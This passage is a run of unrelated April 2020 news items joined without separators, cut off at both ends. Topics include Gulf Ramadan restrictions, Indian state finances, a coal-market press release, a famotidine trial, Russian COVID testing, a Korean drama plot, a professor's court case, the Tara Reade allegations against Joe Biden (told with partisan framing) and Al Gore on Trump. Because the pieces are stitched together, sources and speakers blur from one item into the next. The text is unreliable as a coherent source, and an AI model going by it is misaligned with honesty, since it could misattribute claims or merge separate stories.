rules and wearing face masks. Before Ramadan, the programme was in place between 8pm and 6am in the UAE, except for Dubai that extended it to 24 hours. Now, the programme is in place between 10 pm and 6 am throughout the UAE. The UAE has been able to control the spread of the virus better than many other countries, and it has carried out the highest testing rate per head of population probably anywhere in the world, exceeding a million tests so far. It has also built the second-largest test-processing lab for Covid-19 in the world, with the largest being in China. The response from the UAEs 10 million inhabitants to the guidance from the authorities during the pandemic has been highly positive, with fewer people flouting the rules than anywhere else in the region. However, the UAE cannot risk loosening the rules more than it has done, as this could lead to a spike of infections and deaths, wasting what has been achieved thus far in the pandemic. The UAE has the financial means to support businesses that have been negatively affected by the lockdown, and the UAE government has provided the most generous economic support package in the region to both the public and private sector in the country. Yet, although the streets of Abu Dhabi and Dubai are lighted with Ramadan lanterns and crescents, the usual buzz is lacking. There are no Ramadan tents where people gather for breakfast at sunset during the month. There are no majlis (seated gathering places) where prominent figures from state and society welcome citizens and residents to discuss throughout the night. There is no tarawih, or communal prayer at the beginning of the night every night of the month. Cafes and restaurants that usually open all night during Ramadan and offer buffet meals for sohour, the pre-dawn meal in Ramadan, have all been closed. However, many hotels have started delivering buffet food to homes during the holy month. Saudi Arabia has eased its restrictions for 20 days of Ramadan, except in the holy city of Mecca. Tarawih is allowed in a couple of mosques, but only with a very few people and then not broadcast live. Some businesses are allowed to open, but they have to follow strict rules. The same is true in the other Gulf countries, with stricter rules in countries like Oman and Kuwait. People in the Gulf understand the seriousness of the situation, but they are hard pushed to celebrate Ramadan without the festivities associated with it. Family visits are strictly monitored no more than five people in one place in the UAE and exchanging cooked food is not allowed. House maids are not allowed to contact anybody outside the household. The authorities are giving regular briefings on the situation through social media and other tools in order to assure the public that stocks of food and other consumables in demand in Ramadan are sufficient. Nobody has feared any shortages of basic necessities since the start of the crisis, however, even if there was a rush for face masks and sanitisers at the beginning of it. In the UAE and Kuwait, there have been stepped-up inspection patrols to make sure that outlets selling food and medicines are not fleecing customers or exploiting present circumstances to market non-authentic products. One other important feature that is absent in the Gulf this Ramadan is the tradition of family visits. Many Gulf families are spread out in more than one country, and Ramadan is traditionally a time to exchange visits, but that is almost impossible for the time being. The Ramadan umra, the lesser pilgrimage to Mecca, especially in the last third of the holy month, is also an essential part of the holy month for Gulf citizens, but Mecca is under a strict lockdown and travel is not possible. The traditional meals of Ramadan might still be being served in many Gulf homes, but the joy of big family gatherings and of families coming together for Iftar and Sohour whether at home or in a tent is missing. It is a price that needs to be paid in order to control the spread of the coronavirus, but it has come as a heavy blow to regional traditions and social habits. *A version of this article appears in print in the 30 April, 2020 edition of Al-Ahram Weekly under headline: The Gulf in Ramadan Search Keywords: Short link: Coronavirus: NCP chief Sharad Pawar's letter to Prime Minister Narendra Modi that the Centre must declare a financial package for states from 10 per cent of the country's GDP. Coronavirus: The Shiv Sena on Tuesday demanded that the Centre declare a financial package for states from 10 per cent of the countrys GDP like several western countries to deal with the situation arising out of COVID-19 lockdown. In its mouthpiece Saamna, Shiv Sena cited NCP chief Sharad Pawars letter to Prime Minister Narendra Modi in which the leader sough financial package for Maharashtra and said that the Centre should take financial guardianship of states at this hour. It highlighted that almost all states including Maharashtra are under heavy loan burden so the Union government should take a loan and distribute it to states instead of states left to borrow. Delhi Health Minister Satyendar Jain visited the Plasma Donation Center in Narela, yesterday, where 25 people who had recovered from #COVID19 donated their blood plasma. pic.twitter.com/ni6VxMLbr3 ANI (@ANI) April 27, 2020 Urging Prime Minister Narendra Modi to come forward and help all states, the Shiv Sena said: The Centre should declare a package for states from 10 per cent of the countrys gross domestic product (GDP) as several western countries have done. 522 new positive cases reported in Maharashtra today, 27 deaths recorded. Total number of #COVID19 positive cases in the state rises to 8590, total death toll stands at 369. 94 patients were discharged today after making full recovery, 1282 discharged till date: State Health Dept pic.twitter.com/h9MyJDthWW ANI (@ANI) April 27, 2020 Drawing the attention of Prime Minister Modi and Finance Minister Nirmala Sitharaman to economic indicators and strategy to overcome the crisis faced by Maharashtra, Pawar in the letter dated April 25 has suggested that the Centre should extend the National Small Savings Fund Loan (NSSF) repayment by two years and additional grants of Rs 1 lakh crore should be given to the state for the FY 2020-21. West Bengal: A 69-year-old doctor passes away; he was infected with #COVID19. West Bengal Orthopaedic Association demands state honour for him. pic.twitter.com/Wl3mDM0T9Y ANI (@ANI) April 28, 2020 He also gave examples of the US, Spain, Germany, France, and Australia, who have released financial packages of around 10 per cent of their GDP. Almost all countries the US, Spain, Germany, France, Australia, etc., have released financial packages of around 10 per cent of GDP. Thus, the room can be created by the Government of India along with the RBI for giving suitable financial package to states, wrote Pawar. BRICS Foreign Ministers meeting through video conference to be held today; External Affairs Minister Dr S Jaishankar will participate. pic.twitter.com/vaLXxzc1ER ANI (@ANI) April 28, 2020 There is one particular formulation which is called Mycobacterium w (Mw),it is a heat-killed bacteria that we are trying on different patients. We have taken approval of Drug Controller General of India (DCGI)&that trial has started: Shekhar Mande, CSIR Director in Delhi #COVID19 pic.twitter.com/uI8TLBfhGT ANI (@ANI) April 27, 2020 For all the latest National News, download NewsX App Technavio has been monitoring the metallurgical coal market and it is poised to grow by USD 20.32 billion during 2019-2023, progressing at a CAGR of over 2% during the forecast period. The report offers an up-to-date analysis regarding the current market scenario, latest trends and drivers, and the overall market environment. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005793/en/ Technavio has announced its latest market research report titled Global Metallurgical Coal Market 2019-2023 (Graphic: Business Wire) Technavio suggests three forecast scenarios (optimistic, probable, and pessimistic) considering the impact of COVID-19. Please request latest free sample report on COVID-19 impact The market is fragmented, and the degree of fragmentation will accelerate during the forecast period. Anglo American Plc, Arch Coal Inc., Bharat Coking Coal Ltd., BHP, China Coal Energy Co. Ltd., China Shenhua Energy Co. Ltd., Coronado Global Resources Inc., Glencore Plc, Teck Resources Ltd., and Vale SA are some of the major market participants. The demand for coal tar will offer immense growth opportunities. To make the most of the opportunities, market vendors should focus more on the growth prospects in the fast-growing segments, while maintaining their positions in the slow-growing segments. Demand for coal tar has been instrumental in driving the growth of the market. Metallurgical Coal Market 2019-2023: Segmentation Metallurgical coal market is segmented as below: Application Steelmaking Non-steelmaking Geographic Landscape The Americas APAC EMEA To learn more about the global trends impacting the future of market research, download latest free sample report of 2020-2024: https://www.technavio.com/talk-to-us?report=IRTNTR30551 Metallurgical Coal Market 2019-2023: Scope Technavio presents a detailed picture of the market by the way of study, synthesis, and summation of data from multiple sources. Our metallurgical coal market report covers the following areas: Metallurgical Coal Market Size Metallurgical Coal Market Trends Metallurgical Coal Market Industry Analysis This study identifies advances in the mining industry as one of the prime reasons driving the metallurgical coal market growth during the next few years. Metallurgical Coal Market 2019-2023: Vendor Analysis We provide a detailed analysis of around 25 vendors operating in the metallurgical coal market, including some of the vendors such as Anglo American Plc, Arch Coal Inc., Bharat Coking Coal Ltd., BHP, China Coal Energy Co. Ltd., China Shenhua Energy Co. Ltd., Coronado Global Resources Inc., Glencore Plc, Teck Resources Ltd., and Vale SA. Backed with competitive intelligence and benchmarking, our research reports on the metallurgical coal market are designed to provide entry support, customer profile and M&As as well as go-to-market strategy support. Register for a free trial today and gain instant access to 17,000+ market research reports Technavio's SUBSCRIPTION platform Metallurgical Coal Market 2019-2023: Key Highlights CAGR of the market during the forecast period 2019-2023 Detailed information on factors that will assist metallurgical coal market growth during the next five years Estimation of the metallurgical coal market size and its contribution to the parent market Predictions on upcoming trends and changes in consumer behavior The growth of the metallurgical coal market Analysis of the market's competitive landscape and detailed information on vendors Comprehensive details of factors that will challenge the growth of metallurgical coal market vendors Table Of Contents: PART 01: EXECUTIVE SUMMARY PART 02: SCOPE OF THE REPORT 2.1 Preface 2.2 Currency conversion rates for US$ PART 03: MARKET LANDSCAPE Market ecosystem Market characteristics Value chain analysis Market segmentation analysis PART 04: MARKET SIZING Market definition Market sizing 2019 Market outlook Market size and forecast 2019-2024 PART 05: FIVE FORCES ANALYSIS Bargaining power of buyers Bargaining power of suppliers Threat of new entrants Threat of substitutes Threat of rivalry Market condition PART 06: MARKET SEGMENTATION BY APPLICATION Market segmentation by application Comparison by application Steelmaking Market size and forecast 2019-2024 Non-steelmaking Market size and forecast 2019-2024 Market opportunity by application PART 07: CUSTOMER LANDSCAPE PART 08: GEOGRAPHIC LANDSCAPE Geographic segmentation Geographic comparison APAC Market size and forecast 2019-2024 Americas Market size and forecast 2019-2024 EMEA Market size and forecast 2019-2024 Key leading countries Market opportunity PART 09: DECISION FRAMEWORK PART 10: DRIVERS AND CHALLENGES Market drivers Market challenges PART 11: MARKET TRENDS Increase in number of smart city projects Advances in mining industry Steel production through electrolysis PART 12: VENDOR LANDSCAPE Overview Landscape disruption Competitive scenario PART 13: VENDOR ANALYSIS Vendors covered Vendor classification Market positioning of vendors Anglo American Plc Arch Coal Inc. Bharat Coking Coal Ltd. BHP China Coal Energy Co. Ltd. China Shenhua Energy Co. Ltd. Coronado Global Resources, Inc. Glencore Plc Teck Resources Ltd. Vale SA PART 14: APPENDIX Research methodology List of abbreviations Definition of market positioning of vendors PART 15: EXPLORE TECHNAVIO About Us Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005793/en/ Contacts: Technavio Research Jesse Maida Media Marketing Executive US: +1 844 364 1100 UK: +44 203 893 3200 Email: media@technavio.com Website: www.technavio.com/ Researchers have been studying the possibility of using famotidine as a coronavirus treatment, in a network of hospitals in New York City. Famotidine is the active ingredient in the over-the-counter medication, Pepcid, that is used to help alleviate heartburn. According to ABC, on 13 March, researchers at Norwell Health created a study and enrolled people hospitalised due to coronavirus, with the substance given to patients through an IV drip. The dosage is reported as being nine times the amount normally found in Pepcid, and is being used in combination with antimalarial drug, hydroxychloroquine. The idea of using the drug came from Dr Michael Callahan, who had been working with Chinese doctors on an unfinished study of the treatments effectiveness. So far, 187 people in the 23 hospital network in New York City have been enrolled on the trial, including patients using ventilators. They aim to enrol 1,174 people in the trial, and will know in a few weeks if it has worked, according to Science Magazine Officials at Norwell Health, told the outlet that data on the safety of using the treatment will also be made available in the following weeks. The head of the Norwell Healths research team, Kevin Tracey, told the magazine that researchers have kept quiet on the trials, to stop people stocking up on the medicine. If we talked about this to the wrong people or too soon, the drug supply would be gone, he said. Since the article was published in the magazine, Amazon and Walgreens have experienced shortages of the medicine and CVS are out of stock of the medicine in most New York locations, according to Business Insider. According to a tracking project hosted by Johns Hopkins University, nationally there are upwards of 989,357 people who have tested positive for coronavirus. The death toll has reached at least 56,368. COVID-19 came late to Russia but it is definitely here now. The case numbers have spiked sharply, quadrupling over the past 10 days to propel Russia into the top 10 most infected countries worldwide with cases in every Russian region, though the epicentre is still in Moscow. The death rate is low. As of Monday, the regulator Rospotrebnadzor had recorded more than 47,000 cases with just 405 deaths. Russia closed its border with China at the end of January and watched as the virus worked its way around the globe, seemingly with scant interest in the largest country on earth. That should have given the Kremlin time to absorb lessons learnt the hard way elsewhere. Now comes the reckoning. Will Russia go the way of Germany , with mass testing and a low mortality rate, or will it fare less well? Russian healthcare is not on a par with Germany's, but if "test, test, test" is the key to fighting this virus, then Russia has worked hard to scale up capacity. The regulator says it has carried out a massive two million tests, over 100,000 a day now across a network of state and private laboratories. The UK is aiming to reach that figure by the end of April at the earliest. There is a wealth of testing offerings. Online retailer Ozon is selling home tests to Moscow residents for 4.9 thousand roubles, just over 50. Technology giant Yandex, which has a ubiquitous taxi and delivery arm, has announced a special service to ferry laboratory staff to the homes of over-65 year olds to test them for COVID-19 . A number of private laboratories offer drop-in tests for anyone not showing symptoms and who is not considered at-risk. Those who are should call the COVID hotline and deal directly with the state healthcare system. "Mainly people come to us to make sure they do not pose any threat to friends, families or colleagues," says Ivan Kolobov, who runs one of private clinic Hemotest's 31 Moscow branches. He says around 80 people are coming into his clinic for testing each day, mostly sent by their employers to make sure they are still fit for work. Story continues An all clear on the polymerase chain reaction (PCR) test is a very temporary result. It does not preclude people from picking up the virus the moment they leave the clinic. There is also a propensity for false negative results if the infection is still at an early stage and the viral load is too low to be identified. The PCR system Hemotest uses is an early version developed by the Vector State Research Laboratory based in Novosibirsk, Siberia, and there have been questions over its sensitivity. "It's not the best, but it's not the worst either. We are more or less in the frame of foreign tests," said Rimma Boyko, a project manager at Hemotest. She said Vector's new version is more sensitive but it hasn't filtered down to them yet. Russian biotech is scrambling to come up with improvements. Generium pharmaceutical has developed a 40-minute express test based on isothermal amplification which was registered earlier this month. "It's either one or two orders of magnitude higher than the current PCR tests, or it's more or less the same as the most advanced PCR," said Dimitri Poteryaev, Generium's chief science officer. "Right now I think there are nine or 10 tests, two isothermal amplification, and the eight commercial PCR tests which are registered in Russia but only very few companies can scale up the production as much as we need. "Hopefully we can scale it up to four million tests per month." Faster results will also ease the backlog in laboratories and allow for more widespread testing. "The diagnostic labs are literally choking right now," Mr Poteryaev said. Rospotrebnadzor has also registered an antibody test developed by Vector and began testing last week but there has been little fanfare around it. That may have to do with the realisation the World Health Organisation gave voice to that there may be no immunity against COVID-19, so a test to tell whether someone has had the disease will not help. :: Listen to the Daily podcast on Apple Podcasts , Google Podcasts , Spotify , Spreaker Like in the UK, the call now is for recovered coronavirus patients to donate blood plasma to see whether plasma transfusions and the antibodies they contain can help the very sick. And for the very sick, Moscow clinics are using CT scans to look for signs of coronavirus in the lungs, an expensive but fast form of identification. The message from officials leading Russia's fight against the virus is that these measures are paying off. Moscow's mayor Sergei Sobyanin, who heads up the national coronavirus taskforce, told Russia's president on Monday that the number of acutely ill patients in Moscow has stabilised and that hospitals are able to operate at normal capacity again. There is always a time lag between a spike in cases and a rise in the number of deaths. Peak morbidity, as President Putin put it, is still ahead. Those numbers will be the true mark of whether Russia used the time it took for the virus to reach them to best effect. The National Intelligence Service lost another team during a field mission. They learned that "Michael Lee" is their main suspect for the crime. The team leader Dong Kwan-soo will head the operation to capture their suspect. He needs a new group to do all the plans on the field. The NIS director endorsed the agent Baek Chan Mi whom all other detectives dislike to work with. She is brave, smart, and fearless when it comes to any mission she gets into. The last mission she went as an undercover agent is a prisoner at the women's correction. She needs to get the chip, which was taken by a Russian inmate for safekeeping. She lives and acts like any other prisoner and goes into the isolation room to get the code. After she knew the code, she went ahead to meet the Russian inmate and brawled with her until she gave in. She got the chip and sentenced the Russian for an additional three years. By the time she reached the chief office to report, he had given her the position transfer, as advised by the NIS. She's eager to know the team since almost three years ago from her last field mission. She was the team leader of that mission to capture "Michael" but her stubbornness to follow orders, one field officer died that day. The second member is Hwang Mi-soon, who pretends to be an insurance agent for her family's protection. She reports to the station and works in the audit department. The last field mission she joined was with Baek Chan Mi, where they lost a police officer in their pursuit to capture "Michael." She declined to accept the new assignment, but team leader Dong gives her the statement account of her loan balance to pay if she won't join. The third member of the field agent is young and smart Im Ye-Eun. She works in the IT department and helps any police agency in the filed for technical concerns and liaise with them through their mission. She has a 3-year-old daughter whom she struggles to support. She lives within means and stays at the police shelter to save what she earns for her daughter. Her husband is an undercover agent who died on a mission the day she gave birth to their child. The three ladies will head as the field agents in the search for "Michael" with teal leader Dong's guidance. Baek Chan Mi requested Im Ye-Eun to meet her at the gym to practice her skills in fighting. As they started to do basic martial arts, Chan Mi slams Im Ye-Eun many times, which lost her strength. Chan Mi advised her to work on it before she dies and is lost on the battlefield. Im Ye-Eun did not know about her late husband's mission. It was a secret mission led by Chan Mi. She tried to call him, but it was too late already. Chan Mi and Mi Soon lost a great friend and an agent that day. Now, Chan Mi is back and she went to visit Min Seok in the charnel house to let him know that she will do everything to catch "Michael" and revenge for his death. WILLIAMSPORT A Lock Haven University mathematics professor has lost another round in his fight to collect damages for what he alleges was an unlawful termination. A three-judge panel of the U.S. 3rd Court of Appeals on Monday affirmed the decision of U.S. Middle District Judge John E. Jones III, who found the civil rights of Charles Morgan Jr. were not violated when he was fired in 2016. An arbitrator found Morgans termination was without cause and ordered his reinstatement. He remains an Lock Haven Univesity professor. Morgan was fired after a background check revealed in 1989 as a 19-year-old in Kentucky he was convicted of sodomy and sexual assault in which the victims were minors. He was sentenced to five years in prison but reduced his jail time by completing voluntary sex offender therapy. Morgan didnt have to report his conviction when he applied at Lock Haven because the employment application asked only whether he had pending criminal charges or had been convicted of a crime in the past decade. His record was revealed only after Lock Haven in 2015 adopted a protection of minors policy handbook pursuant to instructions from the State System of Higher Education board of governors. The Association of Pennsylvania State College and University Faculties, the professors union, challenged the background check requirement as it applied to current employees. Commonwealth Court ruled current employees did not have to submit clearances unless they taught courses containing dual enrollees that require direct contact with children. Morgan taught such courses and was required to submit to a background check that revealed his conviction. Then university President Michael Fiorentino Jr. fired him May 9, 2016, citing his criminal record. With the support of the union, Morgan challenged his termination pursuant to the collection bargaining agreement. An arbitrator found it to be without just cause and ordered his reinstatement with the stipulation he not is allowed to teach high school students who are taking advanced placement classes. A Commonwealth Court panel in August 2018 affirmed the arbitrators ruling and the state Supreme Court refused to hear an appeal. Morgan then sued the university, Fiorentino, the State System and Dena L. Hill, associate vice president of human resources at Lock Haven, claiming due process rights violations and that his firing was gender-related. The appeals court found Morgan was given copies of records, was present with a lawyer at a pre-disciplinary conference and had the opportunity to relay information that would be helpful to him. Morgan failed to point to anything in the record to bolster his theory Fiorentino fired him because men are more likely to perpetrate sexual abuse, the opinion states. Morgan went to college after getting out of prison, graduating cum laude in 1995 from the University of Louisville with a bachelors degree in mathematics. He received his doctorate in 2003, also in mathematics, from Michigan State University. Thanks for visiting PennLive. Quality local journalism has never been more important. We need your support. Not a subscriber yet? Please consider supporting our work. -- Other recent John Beauge stories on PennLive Geisinger seeks blood plasma donors from those who recovered from COVID-19 Bucknell cancels 3.5 percent tuition increase for 2020-21 academic year Teenage girl, boyfriend charged in murder-for-hire scheme in central Pa. Northumberland County area man accused of assaulting Millersburg woman Father admits breaking infant sons leg in fit of anger after diaper change: police Woman accused of stealing pug pups from Amish, Mennonite couples arraigned, released WASHINGTON The third annual Five Senses Festival will return to Litchfield County, July 31-Aug. 2, at Spring Hill Vineyards in Washington. The Washington Depot-based dance company Pilobolus, together with Spring Hill Vineyards and a group of strong community supporters, :has reimagined the possibilities of this beloved festival while continuing to serve its community and provide families with creative exposure and interactivity while immersed in nature, according to a statement. The festival has previously served as a celebration of dance, immersive and participatory art installation, multidisciplinary performances and concerts, talks, interactive workshops, recreational activities, a full calendar of wellness classes and locally-sourced food. This year, the Five Senses Festival will reposition ticketed events as a series of performative solos that attendees can enjoy primarily by car, foot or picnicking six feet apart on the sprawling field. Evening programs will be likened to that of a drive-in movie theater where guests can experience culture from the secluded safety of their own vehicles. The theme of the 2020 event is Crossing Borders, initially contemplating physical, metaphysical, drawn or imaginary borders, and also the title of Piloboluss newest full-company piece intended to be created and performed along the US/Mexican border in 2021 during their 50-th anniversary year. As COVID-era reality deepens within the collective psyche, interpretation of the theme grows with significance, organizers said in a statement. Our goal for this re-envisioned Festival is to create a more connected community under these stressful and unprecedented times, leading to a more connected world, said Polobolus co-artistic director Renee Jaworski, in a statement. We are under new direction and leadership, and while simultaneously launching our Big 5-Oh! season, celebrating Pilobolus 50th anniversary and providing spirit and gratitude for our community through this event, we are mindful of and will follow all guidance from the State of Connecticut, CDC and WHO to offer a safe, healthy and enjoyable environment for our guests. Spring Hill Vineyards has been such an incredible partner and believer in bringing this new iteration of the Festival to life, with their property providing a vast landscape for structured gathering and collaboration that has allowed us to move forward with everyones safety and wellbeing in mind, said Matt Kent, Polobolus co-artistic director, in the statement. While we are usually traveling the globe sharing our belief that the human form links all of humanity, we have always felt that a home season in our own Connecticut backyard helps connect our neighbors more deeply to one another. Living in the time of this health crisis suggests that now, more than ever, communities all around the world need engagement, because in engagement, there is hope. The 2020 annual Pilobolus Ball, initially scheduled for July 25 to kick off the Festival has been canceled. The company is instead planning a July 31 opening toi replace the gala event in a safe and respectful way, while continuing to serve as Plobolus major fundraiser for the year. The program site at Spring Hill Vineyards (292 Bee Brook Road in New Preston, Connecticut) houses a grassy field, an outdoor granite amphitheater designed by artist Mark Mennin using 120 tons of pink Connecticut granite; a silo housing a mirrored grotto raised 60 feet in the air created by artist Randy Polumbo; a wine cave; and other visual sites for visitors. The full programming line-up and tickets will be available at www.pilobolus.org in the coming weeks. Rain dates are Aug. 7-9. The rapid adjustments, while not universal across all job sites, have been embraced in an industry that prizes safety but has notoriously dirty job sites, often with few portable restrooms and no running water. Crews often share tools and work side by side. The changes were enacted only after construction workers spoke out in mid-March over workplace conditions, including a lack of protective gear and a reluctance to enforce health measures like social distancing. A month later, roughly 85 percent of the construction sites in New York City that were operating before the pandemic have come to a halt after the state revised its order and deemed them nonessential. But every day hundreds of job sites have opened back up as developers, contractors and labor groups have lobbied officials to get them running again. Roughly 5,200 construction projects were operating again as of Tuesday, from the Spiral office tower at Hudson Yards on the Far West Side to One Vanderbilt near Grand Central Terminal and home renovations in Far Rockaway, Queens. Governor Andrew M. Cuomo announced recently that the construction industry would be among the first categories of low-risk businesses allowed to return to normal as part of the states phased reopening scheduled to start as soon as mid-May. But some workers are dubious that work could soon resume safely. There is no social distancing on a construction site, said a carpenter who was told that his job site, a new hotel in Midtown Manhattan, would reopen on Wednesday. When the site reopens, it will have a turnstile to control who enters, additional hand-washing areas and running water, the contractor told the sites workers, according to the carpenter, who requested anonymity because he did not have permission to speak with the news media. St John is thankful for New Zealanders who have voted it Most Trusted Charity in the 2020 Readers Digest Trusted Brands survey. St John has been voted one of New Zealands most trusted charities for the last nine years and this is the seventh time it has won the title. We are operating in a very challenging environment right now with the country in lockdown, so we are grateful and humbled that New Zealanders continue to place trust in St John to do the right thing by their money, by putting it towards essential emergency ambulance and community health services, says St John CEO Peter Bradley. Last year our 111 call handlers responded to more than 540,000 emergency calls and our ambulance officers treated and transported more than 470,000 patients. We are honoured that our patients have welcomed us into their homes and communities to help them in their time of need. We remain committed to doing our best to serve New Zealanders." With a workforce made up of both paid staff and volunteers, St John provides emergency ambulance services to care for 97 per cent of New Zealands geographic locations. In addition, St John offers a range of free community health programmes like Caring Caller, Health Shuttles, Friends of the Emergency Department, ASB St John in Schools and an extensive youth programme, to develop stronger, healthier and more resilient communities. The publics generous donations allow St John to deliver these important community initiatives. The Most Trusted Brands is an annual independent survey conducted globally. In New Zealand, it is commissioned by Readers Digest and carried out by Catalyst Research which polled a representative sample of 1500 New Zealanders, who rated brands on a trust scale of 1-10. ABOUT ST JOHN St John provides emergency ambulance services to nearly 90% of New Zealanders and covers 97% of the countrys geographical area. With more than 540,000 calls into our 111 clinical communication centres and more than 470,000 patients treated and/or transported to hospital in the last financial year (30 June 2019), St John ambulance officers are at the frontline of emergency services. St John has more than 4,600 paid and volunteer ambulance officers and more than 700 ambulances and operational vehicles throughout the country, responding to emergencies 24 hours a day and 365 days a year. St John offers a range of free community health services including Caring Caller, Health Shuttles, Friends of the Emergency Department and St John Youth. St John also delivers event health services, medical alarm services and first aid training and operates St John stores across the country. ASB has been the key partner of St John for more than ten years. Learn, donate, volunteer at www.stjohn.org.nz. Two more sources have come forward to corroborate sexual assault claims against Joe Biden by former staffer Tara Reade, who claims that in 1993 Biden forced himself upon her and penetrated her against her will with his fingers. Biden and Reade (via Business Insider) Two people have already come forward to say that Reade told them of the incident shortly after it allegedly occurred; her brother Collin Moulton, and a friend who wishes to remain anonymous for fear of retribution. Now, two more witnesses have come forward to Business Insider; former neighbor Lynda LaCasse - a self-described "very strong Democrat," and Reade's former co-worker, Lorraine Sanchez, who worked in the office of a California state senator in the mid-1990s. "This happened, and I know it did because I remember talking about it," said LaCasse, a retired former medical staff coordinator and emergency room clerk for San Luis Obispo General Hospital in California, who lived next door to Reade in the mid-1990s in an apartment complex in Morro Bay, CA. LaCasse said she and Reade shared a bond because they were both mothers whose daughters swam together in the apartment complex's pool. In a series of interviews with Insider over the last week, LaCasse said she decided to speak up now, at a time when Reade's story is under intense scrutiny in the media and facing denials from the Biden campaign, because she believed Reade's account when she first heard it. "I have to support her just because that's what happened," LaCasse said. "We need to stand up and tell the truth." -Business Insider Lynda LaCasse (via Business Insider) "I remember her saying, here was this person that she was working for and she idolized him," she added. "And he kind of put her up against a wall. And he put his hand up her skirt and he put his fingers inside her. She felt like she was assaulted, and she really didn't feel there was anything she could do." "She was crying," LaCasse said. "She was upset. And the more she talked about it, the more she started crying. I remember saying that she needed to file a police report." "I don't remember all the details," LaCasse said. "I remember the skirt. I remember the fingers. I remember she was devastated." Sanchez told Insider that she recalls Reade complaining that her former boss had sexually harassed her, and that after raising concerns she had been fired. In interviews with Insider, The New York Times, The Washington Post, and politics podcaster Katie Halper (who broke the story of the assault allegations), Reade has said that in the spring or summer of 1993, she was told to meet Biden in a semi-private corridor to deliver a duffel bag. There, she said, Biden pushed her up against a wall, reached under her skirt, and penetrated her with his fingers. When she resisted his advances, Reade said, Biden expressed annoyance and said, "Aw man, I heard you liked me." Then, she said, he pointed a finger at her and said, "You're nothing to me." After that, she said, he shook her by the shoulders and said, "You're OK, you're fine," before walking away. -Business Insider. Added to the four witnesses involved in this 'credible accusation' is a 1993 clip of a CNN episode of "Larry King Live" in which Reade's mother called the network to ask how to resolve a complaint against a 'prominent senator,' as nobody in Washington D.C. would help her. #BREAKING: HERE is the video from August 11,1993's 'Larry King Live' described by @TheIntercept (and Tara Reade) as allegedly featuring her mother calling in and alluding to Reade's sexual assault claims against @JoeBiden (blog here by @ScottJW) https://t.co/fCgEqBnX7n pic.twitter.com/V5FGHskv56 Curtis Houck (@CurtisHouck) April 24, 2020 Biden's handlers have denied Reade's allegations, saying in a carefully crafted statement "Women have a right to tell their story, and reporters have an obligation to rigorously vet those claims," a courtesy which was not afforded to Supreme Court Justice Brett Kavanaugh during his confirmation process. "We encourage them to do so, because these accusations are false," Biden's team added. The fourth witness to come forward, Lorraine Sanchez, told Insider that Reade complained at the time about being sexually harassed. After she left Washington, DC, Reade worked for California State Senator Jack O'Connell. Lorraine Sanchez, a former legislative staffer in O'Connell's office, mentored Reade and worked alongside her from 1994 through 1996. Sanchez told Insider that Reade complained at the time about being mistreated by her former employer. "[Reade said] she had been sexually harassed by her former boss while she was in DC," Sanchez said, "and as a result of her voicing her concerns to her supervisors, she was let go, fired." -Business Insider. "What I do remember," said Sanchez "is reassuring her that nothing like that would ever happen to her here in our office, that she was in a safe place, free from any sexual harassment." Sanchez added that "it takes great courage and strength to come forward," adding "It's much easier to keep silent. However, I also understand the duty we have as women to share our story regardless of who the perpetrator may be." Remember kids: Read the rest of the report here. Three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50 Mumbai: Mumbai Police have asked their personnel who are above 55 years of age and having some pre-existing ailment to go on leave, in a bid to protect them from the coronavirus infection. The move comes after COVID-19 claimed lives of three Mumbai Police personnel in the last three days. During an analysis, it came to light that the three deceased and the other police personnel currently undergoing treatment for coronavirus disease were above the age of 50, a senior Mumbai Police official said on Tuesday. "In view of this, we have decided to protect our policemen and officers - who are above 55 years of age and having some pre-existing ailment - and asked them to take leave," he said. "Because of their age, these police personnel are at a higher risk. Therefore, we are allowing them to take leave during these days," the official said. So far, at least 107 police personnel, including 20 officers, have tested positive for coronavirus across Maharashtra and most of them are from the Mumbai Police force. On Monday, a 57-year-old head constable of the Mumbai Police died of COVID-19. Besides, a 52-year-old head constable succumbed to the disease on Sunday, while a 57-year-old constable died on Saturday. Al Gore has condemned the Trump administrations handling of the coronavirus pandemic, saying that the country will have to get through the crisis in spite of Donald Trump. As the USs coronavirus death toll passed 56,000, the former vice president was asked by MSNBCs Chris Hayes where the US is right now in terms of how it has dealt with the crisis. Its hard to know where to begin, said Mr Gore. Theres no more important role for a president than to lead a nation through a crisis. And that means unifying people and leading not only your political base, but reaching out to others with whom youve disagreed. And Donald Trump has made this all about himself. He has ignored repeated warnings, news reports this evening showing yet more warnings that he ignored. He ignored the science, as he has done with the climate crisis as well. He has engaged in a kind of magical thinking. Hes pushed dangerous and potentially deadly snake oil-type remedies. Hes lashed out at people who have been asking legitimate questions and who have pleaded with him to try to mobilise the federal governments resources. Mr Trump has routinely tried to shift responsibility for the pandemics devastating effect on the US onto a range of actors, from China to US governors to the World Health Organisation, but has nonetheless been criticised for his administration's missteps and for making myriad false and misleading statements at his daily press briefings. He is still dealing with the backlash to his suggestion last week that injections of disinfectant should be investigated as a potential treatment, which appeared to precipitate an increase in calls to states poison control helplines. He has since claimed the remark was sarcastic, though footage of the episode does not support that. At his press conference on Monday, which he reinstated with just a few hours notice after it was cancelled, a reporter pointed out to Mr Trump that the US's coronavirus death toll is now approaching the total number of American military deaths during the Vietnam War. In response, the president declined to engage with the comparison, instead crediting his own decisions with having kept the death toll down. "If you look at what the original projections were, 2.2 million we're probably headed to 60,000, 70,000 ... and I think we've made a lot of really good decisions," he said. At the start of the briefing, he blamed China's initial reaction to the outbreak for US deaths. Authorities there have been accused of covering up the early stages of the outbreak in Wuhan, which Beijing denies. There has been so much unnecessary death in this country, Mr Trump said. It could have been stopped and it could have been stopped short, but somebody a long time ago, it seems, decided not to do it that way. And the whole world is suffering because of it. Mr Gore said Mr Trump's rhetoric was unhelpful. When people all around the world are just dropping their jaws in amazement at the things he says, thats not good for anybody in this country," he told MSNBC. "And weve got to get through this in spite of Donald Trump. It has been an irresponsible, incompetent, and disgraceful performance. Lieutenant Butler (left), Sargent Burke (center), Lieutenant Rotondi (right) of the Hoboken Police Force will disperse the donated hand sanitizers to their on-duty officers during COVID-19 pandemic. We have been asked to compound many medications, such as azithromycin 